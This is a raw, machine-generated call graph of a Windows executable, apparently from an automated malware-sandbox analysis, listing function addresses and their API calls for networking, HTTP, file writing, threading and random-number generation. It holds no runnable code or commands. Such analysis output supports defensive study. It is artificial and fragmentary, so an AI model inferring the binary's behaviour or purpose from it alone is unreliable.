4597->4599 4607 40ab00 4597->4607 4612 401050 4599->4612 4602 401050 3 API calls 4602->4603 4603->4589 4720 4086c0 4604->4720 4608 4011e0 10 API calls 4607->4608 4609 40ab14 4608->4609 4618 4013e0 4609->4618 4611 40ab2c 4611->4597 4613 4010ae 4612->4613 4616 401064 _invalid_parameter 4612->4616 4613->4602 4614 40108c 4615 408b60 __aligned_recalloc_base 3 API calls 4614->4615 4615->4613 4616->4614 4617 408b60 __aligned_recalloc_base 3 API calls 4616->4617 4617->4614 4621 4012d0 4618->4621 4620 4013fa 4620->4611 4622 4012e4 4621->4622 4623 4010c0 __aligned_recalloc_base 10 API calls 4622->4623 4624 40132d 4623->4624 4625 4010c0 __aligned_recalloc_base 10 API calls 4624->4625 4626 40133d 4625->4626 4627 4010c0 __aligned_recalloc_base 10 API calls 4626->4627 4628 40134d 4627->4628 4629 4010c0 __aligned_recalloc_base 10 API calls 4628->4629 4630 40135d 4629->4630 4631 401366 4630->4631 4632 40138f 4630->4632 4636 402c20 4631->4636 4653 4029d0 4632->4653 4635 401387 __aligned_recalloc_base 4635->4620 4637 401400 _invalid_parameter 7 API calls 4636->4637 4638 402c37 4637->4638 4639 401400 _invalid_parameter 7 API calls 4638->4639 4640 402c46 4639->4640 4641 401400 _invalid_parameter 7 API calls 4640->4641 4642 402c55 4641->4642 4643 401400 _invalid_parameter 7 API calls 4642->4643 4644 402c64 _invalid_parameter __aligned_recalloc_base 4643->4644 4647 402e0f _invalid_parameter 4644->4647 4656 401430 4644->4656 4646 401430 _invalid_parameter 3 API calls 4646->4647 4647->4646 4648 402e35 _invalid_parameter 4647->4648 4649 401430 _invalid_parameter 3 API calls 4648->4649 4650 402e5b _invalid_parameter 4648->4650 4649->4648 4651 401430 _invalid_parameter 3 API calls 4650->4651 4652 402e81 4650->4652 4651->4650 4652->4635 4660 402e90 4653->4660 4655 4029ec 4655->4635 4657 40143b 4656->4657 4659 401446 4656->4659 4658 408b60 __aligned_recalloc_base 3 API calls 4657->4658 4658->4659 4659->4644 4661 402ea6 _invalid_parameter 4660->4661 4662 402edd 4661->4662 4664 402eb8 _invalid_parameter 4661->4664 4665 402f03 4661->4665 4690 402880 4662->4690 4664->4655 4666 402f3d 4665->4666 4667 402f5e 4665->4667 4700 402a00 4666->4700 4669 401400 _invalid_parameter 7 API calls 4667->4669 4670 402f6f 4669->4670 4671 401400 _invalid_parameter 7 API calls 4670->4671 4672 402f7e 4671->4672 4673 401400 _invalid_parameter 7 API calls 4672->4673 4674 402f8d 4673->4674 4675 401400 _invalid_parameter 7 API calls 4674->4675 4676 402f9c 4675->4676 4713 402950 4676->4713 4678 401400 _invalid_parameter 7 API calls 4679 402fca _invalid_parameter 4678->4679 4679->4678 4682 403084 _invalid_parameter __aligned_recalloc_base 4679->4682 4680 401430 _invalid_parameter 3 API calls 4680->4682 4681 4033a3 _invalid_parameter 4683 401430 _invalid_parameter 3 API calls 4681->4683 4684 4033c9 _invalid_parameter 4681->4684 4682->4680 4682->4681 4683->4681 4685 401430 _invalid_parameter 3 API calls 4684->4685 4686 4033ef _invalid_parameter 4684->4686 4685->4684 4687 401430 _invalid_parameter 3 API calls 4686->4687 4688 403415 _invalid_parameter 4686->4688 4687->4686 4688->4664 4689 401430 _invalid_parameter 3 API calls 4688->4689 4689->4688 4691 40288e 4690->4691 4692 401400 _invalid_parameter 7 API calls 4691->4692 4693 4028ab 4692->4693 4694 401400 _invalid_parameter 7 API calls 4693->4694 4695 4028ba _invalid_parameter 4694->4695 4696 401430 _invalid_parameter GetCurrentProcessId HeapValidate HeapFree 4695->4696 4697 40291a _invalid_parameter 4695->4697 4696->4695 4698 401430 _invalid_parameter GetCurrentProcessId HeapValidate HeapFree 4697->4698 4699 402940 4697->4699 4698->4697 4699->4664 4701 401400 _invalid_parameter 7 API calls 4700->4701 4702 402a17 4701->4702 4703 401400 _invalid_parameter 7 API calls 4702->4703 4704 402a26 4703->4704 4705 401400 _invalid_parameter 7 API calls 4704->4705 4712 402a35 _invalid_parameter __aligned_recalloc_base 4705->4712 4706 401430 _invalid_parameter GetCurrentProcessId HeapValidate HeapFree 4706->4712 4707 402bc1 _invalid_parameter 4708 401430 _invalid_parameter GetCurrentProcessId HeapValidate HeapFree 4707->4708 4709 402be7 _invalid_parameter 4707->4709 4708->4707 4710 401430 _invalid_parameter GetCurrentProcessId HeapValidate HeapFree 4709->4710 4711 402c0d 4709->4711 4710->4709 4711->4664 4712->4706 4712->4707 4714 401400 _invalid_parameter 7 API calls 4713->4714 4715 40295f _invalid_parameter 4714->4715 4716 402880 _invalid_parameter 9 API calls 4715->4716 4718 402998 _invalid_parameter 4716->4718 4717 401430 _invalid_parameter GetCurrentProcessId HeapValidate HeapFree 4717->4718 4718->4717 4719 4029c3 4718->4719 4719->4679 4721 4086d2 4720->4721 4724 408620 4721->4724 4725 408a10 __aligned_recalloc_base 7 API calls 4724->4725 4732 408630 4725->4732 4728 408b60 __aligned_recalloc_base 3 API calls 4730 4064ef 4728->4730 4729 40866c 4729->4728 4730->4589 4732->4729 4732->4730 4733 407b60 4732->4733 4740 408140 4732->4740 4745 408510 4732->4745 4734 407b69 4733->4734 4735 407b73 4733->4735 4734->4732 4735->4734 4736 407bb6 memset 4735->4736 4736->4734 4737 407bd7 4736->4737 4737->4734 4738 407bdd memcpy 4737->4738 4753 407930 4738->4753 4741 40814d 4740->4741 4742 408157 4740->4742 4741->4732 4742->4741 4743 40824f memcpy 4742->4743 4758 407e80 4742->4758 4743->4742 4748 408526 4745->4748 4751 40851c 4745->4751 4746 407e80 57 API calls 4747 4085a7 4746->4747 4749 407930 6 API calls 4747->4749 4747->4751 4748->4746 4748->4751 4750 4085c6 4749->4750 4750->4751 4752 4085db memcpy 4750->4752 4751->4732 4752->4751 4754 40797e 4753->4754 4756 40793e 4753->4756 4754->4734 4756->4754 4757 407870 6 API calls 4756->4757 4757->4756 4759 407e9b 4758->4759 4763 407e91 4758->4763 4759->4763 4764 407cc0 4759->4764 4762 407e80 57 API calls 4762->4763 4763->4742 4765 407ccd 4764->4765 4766 407cd7 4764->4766 4765->4762 4765->4763 4766->4765 4767 407d60 4766->4767 4768 407d65 4766->4768 4769 407d48 4766->4769 4775 407620 4767->4775 4772 407930 6 API calls 4768->4772 4771 407930 6 API calls 4769->4771 4771->4767 4772->4767 4774 407e0c memset 4774->4765 4776 407639 4775->4776 4784 40762f 4775->4784 4777 407500 6 API calls 4776->4777 4776->4784 4778 407732 4777->4778 4779 408a10 __aligned_recalloc_base 7 API calls 4778->4779 4780 407781 4779->4780 4781 407380 44 API calls 4780->4781 4780->4784 4782 4077ae 4781->4782 4783 408b60 __aligned_recalloc_base GetCurrentProcessId HeapValidate HeapFree 4782->4783 4783->4784 4784->4765 4784->4774 4804 408740 GetCurrentProcessId 4785->4804 4787 408a5b 4788 4088b0 __aligned_recalloc_base 5 API calls 4787->4788 4793 408a67 __aligned_recalloc_base 4787->4793 4788->4793 4789 404477 4789->4571 4789->4576 4790 408b10 HeapAlloc 4790->4793 4791 408ada HeapReAlloc 4791->4793 4792 408760 __aligned_recalloc_base HeapValidate 4792->4793 4793->4789 4793->4790 4793->4791 4793->4792 4794 408b60 __aligned_recalloc_base 3 API calls 4793->4794 4794->4793 4796 40aa7b 4795->4796 4797 408a10 __aligned_recalloc_base 7 API calls 4796->4797 4798 404506 4796->4798 4797->4796 4798->4576 4799 405c00 4798->4799 4800 408a10 __aligned_recalloc_base 7 API calls 4799->4800 4801 405c10 4800->4801 4802 405c57 4801->4802 4803 405c1c memcpy CreateThread CloseHandle 4801->4803 4802->4576 4803->4802 4804->4787 4806 40c49d htons inet_addr setsockopt 4805->4806 4811 40c5ce 4805->4811 4807 409430 8 API calls 4806->4807 4808 40c516 bind lstrlenA sendto ioctlsocket 4807->4808 4814 40c56b 4808->4814 4811->4367 4812 40c592 4862 4094f0 shutdown closesocket 4812->4862 4813 408a50 9 API calls 4813->4814 4814->4812 4814->4813 4853 40c380 4814->4853 4869 40c150 memset InternetCrackUrlA InternetOpenA 4815->4869 4818 40cc3e 4818->4367 4820 40cc0b 4821 408b60 __aligned_recalloc_base 3 API calls 4820->4821 4821->4818 4827 40cc01 SysFreeString 4827->4820 4976 4093f0 inet_addr 4830->4976 4833 4094dd 4838 40ce90 4833->4838 4834 40948c connect 4835 4094a0 getsockname 4834->4835 4836 4094d4 4834->4836 4835->4836 4979 4094f0 shutdown closesocket 4836->4979 4980 4093d0 inet_ntoa 4838->4980 4840 40cea6 4841 40b2d0 11 API calls 4840->4841 4842 40cec5 4841->4842 4848 40cf08 4842->4848 4981 40cc50 memset InternetCrackUrlA InternetOpenA 4842->4981 4845 408b60 __aligned_recalloc_base 3 API calls 4847 40cefc 4845->4847 4846 408b60 __aligned_recalloc_base 3 API calls 4846->4848 4847->4846 4848->4372 4851 408c84 4849->4851 4850 408c8a 4850->4363 4851->4850 4852 408b60 GetCurrentProcessId HeapValidate HeapFree __aligned_recalloc_base 4851->4852 4852->4851 4859 40c39c 4853->4859 4854 40c464 4854->4814 4855 40c3b8 recvfrom 4856 40c3e6 StrCmpNIA 4855->4856 4857 40c3d9 Sleep 4855->4857 4858 40c405 StrStrIA 4856->4858 4856->4859 4857->4859 4858->4859 4860 40c426 StrChrA 4858->4860 4859->4854 4859->4855 4863 40b180 4860->4863 4862->4811 4864 40b18b 4863->4864 4865 40b191 lstrlenA 4864->4865 4866 40b1a4 4864->4866 4867 408a10 __aligned_recalloc_base 7 API calls 4864->4867 4868 40b1c0 memcpy 4864->4868 4865->4864 4865->4866 4866->4859 4867->4864 4868->4864 4868->4866 4870 40c1f1 InternetConnectA 4869->4870 4871 40c367 4869->4871 4872 40c35a InternetCloseHandle 4870->4872 4873 40c22a HttpOpenRequestA 4870->4873 4871->4818 4882 40bef0 4871->4882 4872->4871 4874 40c260 HttpSendRequestA 4873->4874 4875 40c34d InternetCloseHandle 4873->4875 4876 40c340 InternetCloseHandle 4874->4876 4878 40c27d 4874->4878 4875->4872 4876->4875 4877 40c29e InternetReadFile 4877->4878 4879 40c2cb 4877->4879 4878->4877 4878->4879 4880 408a50 9 API calls 4878->4880 4879->4876 4881 40c2e6 memcpy 4880->4881 4881->4878 4911 403f20 4882->4911 4885 40bff0 4885->4820 4892 40cad0 4885->4892 4886 40bf1a SysAllocString 4887 40bf31 CoCreateInstance 4886->4887 4888 40bfe7 4886->4888 4889 40bfdd SysFreeString 4887->4889 4891 40bf56 4887->4891 4890 408b60 __aligned_recalloc_base 3 API calls 4888->4890 4889->4888 4890->4885 4891->4889 4928 40c000 4892->4928 4895 40c9b0 4933 40c7d0 4895->4933 4900 40c930 6 API calls 4901 40ca07 4900->4901 4907 40ca59 4901->4907 4950 40c750 4901->4950 4904 40ca3f 4904->4907 4955 40c0f0 4904->4955 4905 40c750 6 API calls 4905->4904 4907->4827 4908 40b2d0 4907->4908 4971 40b240 4908->4971 4918 403f2d 4911->4918 4912 403f33 lstrlenA 4916 403f46 4912->4916 4912->4918 4914 408a10 __aligned_recalloc_base 7 API calls 4914->4918 4916->4885 4916->4886 4917 408b60 __aligned_recalloc_base 3 API calls 4917->4918 4918->4912 4918->4914 4918->4916 4918->4917 4919 403e00 4918->4919 4923 403ed0 4918->4923 4920 403e17 MultiByteToWideChar 4919->4920 4921 403e0a lstrlenA 4919->4921 4922 403e3c 4920->4922 4921->4920 4922->4918 4924 403edb 4923->4924 4925 403ee1 lstrlenA 4924->4925 4926 403e00 2 API calls 4924->4926 4927 403f17 4924->4927 4925->4924 4926->4924 4927->4918 4931 40c026 4928->4931 4929 40c0cb 4929->4820 4929->4895 4930 40c0a3 lstrcmpiW 4930->4931 4932 40c0bb SysFreeString 4930->4932 4931->4929 4931->4930 4931->4932 4932->4931 4935 40c7f6 4933->4935 4934 40c90d 4934->4907 4945 40c930 4934->4945 4935->4934 4936 40c883 lstrcmpiW 4935->4936 4937 40c903 SysFreeString 4936->4937 4938 40c896 4936->4938 4937->4934 4939 40c0f0 2 API calls 4938->4939 4941 40c8a4 4939->4941 4940 40c8f5 4940->4937 4941->4937 4941->4940 4942 40c8d3 lstrcmpiW 4941->4942 4943 40c8e5 4942->4943 4944 40c8eb SysFreeString 4942->4944 4943->4944 4944->4940 4946 40c0f0 2 API calls 4945->4946 4947 40c94b 4946->4947 4948 40c987 4947->4948 4949 40c7d0 6 API calls 4947->4949 4948->4900 4948->4907 4949->4948 4951 40c0f0 2 API calls 4950->4951 4953 40c76b 4951->4953 4952 40c7a7 4952->4904 4952->4905 4953->4952 4959 40c5f0 4953->4959 4956 40c116 4955->4956 4957 40c12d 4956->4957 4958 40c000 2 API calls 4956->4958 4957->4907 4958->4957 4961 40c616 4959->4961 4960 40c72d 4960->4952 4961->4960 4962 40c6a3 lstrcmpiW 4961->4962 4963 40c723 SysFreeString 4962->4963 4964 40c6b6 4962->4964 4963->4960 4965 40c0f0 2 API calls 4964->4965 4967 40c6c4 4965->4967 4966 40c715 4966->4963 4967->4963 4967->4966 4968 40c6f3 lstrcmpiW 4967->4968 4969 40c705 4968->4969 4970 40c70b SysFreeString 4968->4970 4969->4970 4970->4966 4974 40b24d 4971->4974 4972 40b1f0 _vscprintf wvsprintfA 4972->4974 4973 408a50 9 API calls 4973->4974 4974->4972 4974->4973 4975 40b268 SysFreeString 4974->4975 4975->4827 4977 40941c socket 4976->4977 4978 409409 gethostbyname 4976->4978 4977->4833 4977->4834 4978->4977 4979->4833 4980->4840 4982 40ce81 4981->4982 4983 40ccf4 InternetConnectA 4981->4983 4982->4845 4982->4847 4984 40ce74 InternetCloseHandle 4983->4984 4985 40cd2d HttpOpenRequestA 4983->4985 4984->4982 4986 40cd63 HttpAddRequestHeadersA HttpSendRequestA 4985->4986 4987 40ce67 InternetCloseHandle 4985->4987 4988 40ce5a InternetCloseHandle 4986->4988 4991 40cdad 4986->4991 4987->4984 4988->4987 4989 40cdc4 InternetReadFile 4990 40cdf1 4989->4990 4989->4991 4990->4988 4991->4989 4991->4990 4992 408a50 9 API calls 4991->4992 4993 40ce0c memcpy 4992->4993 4993->4991 4999 4058b7 4994->4999 4995 405a8b 4997 405a94 SysFreeString 4995->4997 4998 405a9e SysFreeString 4995->4998 4996 408b60 __aligned_recalloc_base 3 API calls 4996->4995 4997->4998 4998->4376 5000 405830 CoCreateInstance 4999->5000 5001 405a06 SysAllocString 4999->5001 5002 4058d2 4999->5002 5000->4999 5001->4999 5001->5002 5002->4995 5002->4996 5004 40a7aa 5003->5004 5005 40a7ae 5003->5005 5004->4382 5007 40a760 CryptAcquireContextW 5005->5007 5008 40a79b 5007->5008 5009 40a77d CryptGenRandom CryptReleaseContext 5007->5009 5008->5004 5009->5008 5010->4398 5050 409660 gethostname 5011->5050 5015 40994c strstr 5016 40995c 5015->5016 5017 40999d 5015->5017 5055 4093d0 inet_ntoa 5016->5055 5054 4093d0 inet_ntoa 5017->5054 5020 40996a strstr 5022 40997a 5020->5022 5030 409939 5020->5030 5021 4099ab strstr 5023 4099bb 5021->5023 5024 4099fc EnterCriticalSection 5021->5024 5056 4093d0 inet_ntoa 5022->5056 5057 4093d0 inet_ntoa 5023->5057 5029 409a14 5024->5029 5027 409988 strstr 5027->5017 5027->5030 5028 4099c9 strstr 5028->5030 5031 4099d9 5028->5031 5036 409a3f 5029->5036 5059 40bd50 NtQuerySystemTime RtlTimeToSecondsSince1980 5029->5059 5030->4398 5058 4093d0 inet_ntoa 5031->5058 5034 4099e7 strstr 5034->5024 5034->5030 5035 409b38 LeaveCriticalSection 5035->5030 5036->5035 5037 4089f0 7 API calls 5036->5037 5038 409a83 5037->5038 5038->5035 5060 40bd50 NtQuerySystemTime RtlTimeToSecondsSince1980 5038->5060 5040 409aa1 5041 409ac3 Sleep 5040->5041 5042 409acd 5040->5042 5044 409af3 5040->5044 5041->5040 5043 408b60 __aligned_recalloc_base 3 API calls 5042->5043 5043->5044 5044->5035 5061 409550 5044->5061 5047 409550 14 API calls 5046->5047 5048 409653 LeaveCriticalSection 5047->5048 5048->4403 5049->4411 5051 409687 gethostbyname 5050->5051 5052 4096a3 5050->5052 5051->5052 5052->5030 5053 4093d0 inet_ntoa 5052->5053 5053->5015 5054->5021 5055->5020 5056->5027 5057->5028 5058->5034 5059->5036 5060->5040 5062 409564 5061->5062 5063 40955f 5061->5063 5064 408a10 __aligned_recalloc_base 7 API calls 5062->5064 5063->5035 5066 409578 5064->5066 5065 4095d4 CreateFileW 5067 409623 InterlockedExchange 5065->5067 5068 4095f7 WriteFile FlushFileBuffers CloseHandle 5065->5068 5066->5063 5066->5065 5069 408b60 __aligned_recalloc_base 3 API calls 5067->5069 5068->5067 5069->5063 5073 40ba1d 5070->5073 5071 40ba81 5071->4417 5071->4418 5072 40ba41 WaitForSingleObject 5072->5073 5074 40ba5c CloseHandle 5072->5074 5073->5071 5073->5072 5074->5073 5076 40e499 5075->5076 5077 40e31d WSAWaitForMultipleEvents 5075->5077 5078 40e3c0 GetTickCount 5077->5078 5079 40e33a WSAEnumNetworkEvents 5077->5079 5080 40e413 GetTickCount 5078->5080 5081 40e3d5 EnterCriticalSection 5078->5081 5079->5078 5094 40e353 5079->5094 5082 40e485 WaitForSingleObject 5080->5082 5083 40e41e EnterCriticalSection 5080->5083 5084 40e3e6 5081->5084 5085 40e40a LeaveCriticalSection 5081->5085 5082->5076 5082->5077 5087 40e471 LeaveCriticalSection GetTickCount 5083->5087 5088 40e42f InterlockedExchangeAdd 5083->5088 5091 40e3f9 LeaveCriticalSection 5084->5091 5167 40e1f0 5084->5167 5085->5082 5086 40e362 accept 5086->5078 5086->5094 5087->5082 5177 40bd50 NtQuerySystemTime RtlTimeToSecondsSince1980 5088->5177 5091->5082 5093 40e442 5093->5087 5093->5088 5178 4094f0 shutdown closesocket 5093->5178 5094->5078 5094->5086 5096 40e3b9 5094->5096 5139 40de80 5094->5139 5159 40e6c0 5096->5159 5198 40dc60 5098->5198 5100 40be8d 5102 40be28 InterlockedExchangeAdd 5103 40be6c WaitForSingleObject 5102->5103 5104 40be0e 5102->5104 5103->5104 5105 40be85 5103->5105 5104->5100 5104->5102 5104->5103 5211 409b70 EnterCriticalSection 5104->5211 5216 409fa0 5104->5216 5219 40dbf0 5105->5219 5109 40b794 5108->5109 5110 409b70 5 API calls 5109->5110 5111 40b7b0 WaitForSingleObject 5109->5111 5113 40b7d5 5109->5113 5287 40b5f0 InterlockedExchangeAdd 5109->5287 5110->5109 5111->5109 5111->5113 5422 40eb80 5114->5422 5117 40b9d0 5118 40b9b7 WaitForSingleObject 5426 40dfd0 5118->5426 5121 409513 WaitForSingleObject 5120->5121 5122 409541 5121->5122 5123 40952b InterlockedDecrement 5121->5123 5124 40953a 5123->5124 5124->5121 5125 409640 16 API calls 5124->5125 5125->5124 5488 40d790 5126->5488 5128 40beb7 5129 40bee1 5128->5129 5130 40bec8 WaitForSingleObject 5128->5130 5131 40dbf0 8 API calls 5130->5131 5131->5129 5133 40e962 5132->5133 5138 40e9d8 5132->5138 5134 40e967 WSAGetOverlappedResult 5133->5134 5503 40e730 5133->5503 5134->5133 5135 40e989 WSAGetLastError 5134->5135 5135->5133 5137 40e9a3 GetQueuedCompletionStatus 5137->5133 5137->5138 5140 40de92 EnterCriticalSection 5139->5140 5141 40de8d 5139->5141 5142 40debd LeaveCriticalSection 5140->5142 5145 40dea7 5140->5145 5141->5094 5143 40dec8 5142->5143 5144 40decf 5142->5144 5143->5094 5146 4089f0 7 API calls 5144->5146 5145->5142 5147 40ded9 5146->5147 5148 40dee6 getpeername CreateIoCompletionPort 5147->5148 5149 40df78 5147->5149 5151 40df72 5148->5151 5152 40df26 5148->5152 5181 4094f0 shutdown closesocket 5149->5181 5155 408b60 __aligned_recalloc_base 3 API calls 5151->5155 5179 40bd50 NtQuerySystemTime RtlTimeToSecondsSince1980 5152->5179 5153 40df83 5153->5094 5155->5149 5156 40df2b InterlockedExchange InitializeCriticalSection InterlockedIncrement 5180 40dda0 EnterCriticalSection LeaveCriticalSection 5156->5180 5158 40df6b 5158->5094 5160 40e6d0 InterlockedExchangeAdd 5159->5160 5161 40e6cc 5159->5161 5162 40e723 5160->5162 5163 40e6e7 InterlockedIncrement 5160->5163 5161->5078 5162->5078 5182 40e620 WSARecv 5163->5182 5165 40e716 5165->5162 5166 40e71c InterlockedDecrement 5165->5166 5166->5162 5168 40e200 5167->5168 5176 40e2d1 5167->5176 5169 40e20d InterlockedExchangeAdd 5168->5169 5168->5176 5175 40e224 5169->5175 5169->5176 5170 40e250 5171 40e261 5170->5171 5197 4094f0 shutdown closesocket 5170->5197 5174 40e277 InterlockedDecrement 5171->5174 5171->5176 5174->5176 5175->5170 5175->5176 5188 40e170 EnterCriticalSection 5175->5188 5176->5085 5177->5093 5178->5093 5179->5156 5180->5158 5181->5153 5183 40e6a2 5182->5183 5184 40e65e 5182->5184 5183->5165 5185 40e660 WSAGetLastError 5184->5185 5186 40e674 Sleep WSARecv 5184->5186 5187 40e6ab 5184->5187 5185->5183 5185->5184 5186->5183 5186->5185 5187->5165 5189 40e1d7 LeaveCriticalSection 5188->5189 5190 40e18a InterlockedExchangeAdd 5188->5190 5189->5175 5191 40e19a LeaveCriticalSection 5190->5191 5192 40e1a9 5190->5192 5191->5175 5193 408b60 __aligned_recalloc_base 3 API calls 5192->5193 5194 40e1ce 5193->5194 5195 408b60 __aligned_recalloc_base 3 API calls 5194->5195 5196 40e1d4 5195->5196 5196->5189 5197->5171 5199 4089f0 7 API calls 5198->5199 5200 40dc6b CreateEventA socket 5199->5200 5201 40dca2 5200->5201 5202 40dca9 5200->5202 5205 40dbf0 8 API calls 5201->5205 5203 40dd0a 5202->5203 5204 40dcad bind 5202->5204 5203->5104 5206 40dce0 5204->5206 5207 40dcec CreateThread 5204->5207 5208 40dca7 5205->5208 5209 40dbf0 8 API calls 5206->5209 5207->5203 5229 40d9c0 5207->5229 5208->5202 5210 40dce5 5209->5210 5210->5104 5212 409ba7 LeaveCriticalSection 5211->5212 5213 409b8f 5211->5213 5212->5104 5214 40a7a0 3 API calls 5213->5214 5215 409b9a 5214->5215 5215->5212 5257 409db0 5216->5257 5220 40dc50 5219->5220 5221 40dbf4 5219->5221 5220->5100 5221->5220 5222 40dbfc SetEvent WaitForSingleObject CloseHandle 5221->5222 5223 40dc40 5222->5223 5227 40dc24 5222->5227 5286 4094f0 shutdown closesocket 5223->5286 5225 408b60 GetCurrentProcessId HeapValidate HeapFree __aligned_recalloc_base 5225->5227 5226 40dc4a 5228 408b60 __aligned_recalloc_base 3 API calls 5226->5228 5227->5223 5227->5225 5228->5220 5230 40d9d5 ioctlsocket 5229->5230 5231 40daa0 5230->5231 5239 40d9fa 5230->5239 5232 408b60 __aligned_recalloc_base 3 API calls 5231->5232 5234 40daa6 5232->5234 5233 40da89 WaitForSingleObject 5233->5230 5233->5231 5235 40da24 recvfrom 5235->5233 5235->5239 5236 408a50 9 API calls 5236->5239 5237 40da69 InterlockedExchangeAdd 5240 40d890 5237->5240 5239->5233 5239->5235 5239->5236 5239->5237 5242 40d8c5 5240->5242 5241 40d8ef 5250 40bd50 NtQuerySystemTime RtlTimeToSecondsSince1980 5241->5250 5242->5241 5243 4089f0 7 API calls 5242->5243 5243->5241 5245 40d912 5251 40dd20 5245->5251 5247 40d9ae 5247->5239 5248 40d925 5248->5247 5249 40d99b memmove 5248->5249 5249->5248 5250->5245 5252 40dd32 5251->5252 5253 40dd45 memcpy 5251->5253 5254 408a50 9 API calls 5252->5254 5256 40dd61 5253->5256 5255 40dd3f 5254->5255 5255->5253 5256->5248 5258 40a7e0 3 API calls 5257->5258 5259 409dbb 5258->5259 5260 409dd7 lstrlenA 5259->5260 5261 40aa70 7 API calls 5260->5261 5262 409e0d 5261->5262 5263 409e38 5262->5263 5267 40bd80 5262->5267 5263->5104 5265 408b60 __aligned_recalloc_base 3 API calls 5265->5263 5270 40dac0 5267->5270 5269 409e2c 5269->5265 5271 40dbd3 5270->5271 5272 40dadf 5270->5272 5271->5269 5272->5271 5273 408a10 __aligned_recalloc_base 7 API calls 5272->5273 5274 40db06 memcpy htons 5273->5274 5275 40dbac 5274->5275 5276 40db56 sendto 5274->5276 5279 408b60 __aligned_recalloc_base 3 API calls 5275->5279 5277 40db75 InterlockedExchangeAdd 5276->5277 5278 40dba8 5276->5278 5277->5276 5280 40db8b 5277->5280 5278->5275 5281 40dbc9 5278->5281 5282 40dbbb 5279->5282 5283 408b60 __aligned_recalloc_base 3 API calls 5280->5283 5284 408b60 __aligned_recalloc_base 3 API calls 5281->5284 5282->5269 5285 40db9a 5283->5285 5284->5271 5285->5269 5286->5226 5288 40b60d 5287->5288 5299 40b606 5287->5299 5305 40b500 5288->5305 5291 40b62d InterlockedIncrement 5294 40b637 5291->5294 5292 409fa0 17 API calls 5292->5294 5293 40b660 5312 4093d0 inet_ntoa 5293->5312 5294->5292 5294->5293 5297 40b730 InterlockedDecrement 5294->5297 5300 40b684 5294->5300 5296 40b66c 5296->5297 5327 4094f0 shutdown closesocket 5297->5327 5299->5109 5300->5294 5301 408a10 __aligned_recalloc_base 7 API calls 5300->5301 5302 40b430 6 API calls 5300->5302 5304 408b60 __aligned_recalloc_base 3 API calls 5300->5304 5313 40a100 5300->5313 5301->5300 5302->5300 5304->5300 5306 40b50d socket 5305->5306 5307 40b522 htons connect 5306->5307 5308 40b57f 5306->5308 5307->5308 5309 40b56a 5307->5309 5308->5306 5310 40b573 5308->5310 5328 4094f0 shutdown closesocket 5309->5328 5310->5291 5310->5299 5312->5296 5317 40a111 5313->5317 5316 408b60 __aligned_recalloc_base 3 API calls 5318 40a494 5316->5318 5319 409e50 24 API calls 5317->5319 5320 40a12f 5317->5320 5322 409b50 28 API calls 5317->5322 5324 409fa0 17 API calls 5317->5324 5329 40a020 5317->5329 5336 409bc0 EnterCriticalSection 5317->5336 5341 405790 5317->5341 5346 4057d0 5317->5346 5351 4056a0 5317->5351 5358 405700 5317->5358 5318->5300 5319->5317 5320->5316 5322->5317 5324->5317 5327->5299 5328->5310 5330 40a031 lstrlenA 5329->5330 5331 40aa70 7 API calls 5330->5331 5335 40a04f 5331->5335 5332 40a05b 5333 40a0df 5332->5333 5334 408b60 __aligned_recalloc_base 3 API calls 5332->5334 5333->5317 5334->5333 5335->5330 5335->5332 5337 409bd8 5336->5337 5338 409c14 LeaveCriticalSection 5337->5338 5361 40bd50 NtQuerySystemTime RtlTimeToSecondsSince1980 5337->5361 5338->5317 5340 409c03 5340->5338 5362 405730 5341->5362 5344 4057c9 5344->5317 5345 40ba90 259 API calls 5345->5344 5347 405730 65 API calls 5346->5347 5348 4057ef 5347->5348 5349 40581c 5348->5349 5372 405650 5348->5372 5349->5317 5375 404820 EnterCriticalSection 5351->5375 5353 4056ba 5354 4056ed 5353->5354 5380 4055b0 5353->5380 5354->5317 5357 408b60 __aligned_recalloc_base 3 API calls 5357->5354 5387 4048e0 EnterCriticalSection 5358->5387 5360 405722 5360->5317 5361->5340 5363 405743 5362->5363 5364 405780 5363->5364 5366 404730 EnterCriticalSection 5363->5366 5364->5344 5364->5345 5367 40b100 63 API calls 5366->5367 5369 404750 5367->5369 5368 4047fe LeaveCriticalSection 5368->5363 5369->5368 5370 408b60 __aligned_recalloc_base 3 API calls 5369->5370 5371 4047fb 5370->5371 5371->5368 5373 409db0 17 API calls 5372->5373 5374 405695 5373->5374 5374->5349 5376 40483e 5375->5376 5377 4048ca LeaveCriticalSection 5376->5377 5378 408bd0 8 API calls 5376->5378 5377->5353 5379 40489c 5378->5379 5379->5377 5381 408a10 __aligned_recalloc_base 7 API calls 5380->5381 5382 4055c2 memcpy 5381->5382 5383 409db0 17 API calls 5382->5383 5384 40562c 5383->5384 5385 408b60 __aligned_recalloc_base 3 API calls 5384->5385 5386 40563b 5385->5386 5386->5357 5411 40b160 5387->5411 5390 404b1e LeaveCriticalSection 5390->5360 5391 40b100 63 API calls 5392 40491b 5391->5392 5392->5390 5395 408b60 __aligned_recalloc_base 3 API calls 5392->5395 5410 404a33 5392->5410 5393 404450 15 API calls 5396 404a5c 5393->5396 5394 408b60 __aligned_recalloc_base 3 API calls 5397 404a7d 5394->5397 5398 404992 5395->5398 5396->5394 5397->5390 5399 404a8c CreateFileW 5397->5399 5400 408bd0 8 API calls 5398->5400 5399->5390 5401 404aaf 5399->5401 5402 4049a2 5400->5402 5404 404b0a FlushFileBuffers CloseHandle 5401->5404 5405 404acc WriteFile 5401->5405 5403 408b60 __aligned_recalloc_base 3 API calls 5402->5403 5406 4049c9 5403->5406 5404->5390 5405->5401 5407 40aa70 7 API calls 5406->5407 5408 404a00 5407->5408 5409 405c00 10 API calls 5408->5409 5409->5410 5410->5393 5410->5396 5414 40a6b0 5411->5414 5416 40a6c3 5414->5416 5415 408bd0 8 API calls 5415->5416 5416->5415 5417 40a610 62 API calls 5416->5417 5420 4064d0 61 API calls 5416->5420 5421 40a6dd 5416->5421 5417->5416 5418 408b60 __aligned_recalloc_base 3 API calls 5419 404904 5418->5419 5419->5390 5419->5391 5420->5416 5421->5418 5423 40b9a6 5422->5423 5424 40eb87 5422->5424 5423->5117 5423->5118 5424->5423 5447 40e9f0 5424->5447 5427 40dfd8 5426->5427 5446 40e102 5426->5446 5428 40dfe4 EnterCriticalSection 5427->5428 5427->5446 5429 40e080 LeaveCriticalSection SetEvent 5428->5429 5430 40dffb 5428->5430 5431 40e0b3 5429->5431 5432 40e09b 5429->5432 5430->5429 5435 40e00c InterlockedDecrement 5430->5435 5437 40e025 InterlockedExchangeAdd 5430->5437 5444 40e06b InterlockedDecrement 5430->5444 5469 40bb80 GetCurrentThread GetThreadPriority GetCurrentThread SetThreadPriority 5431->5469 5433 40e0a1 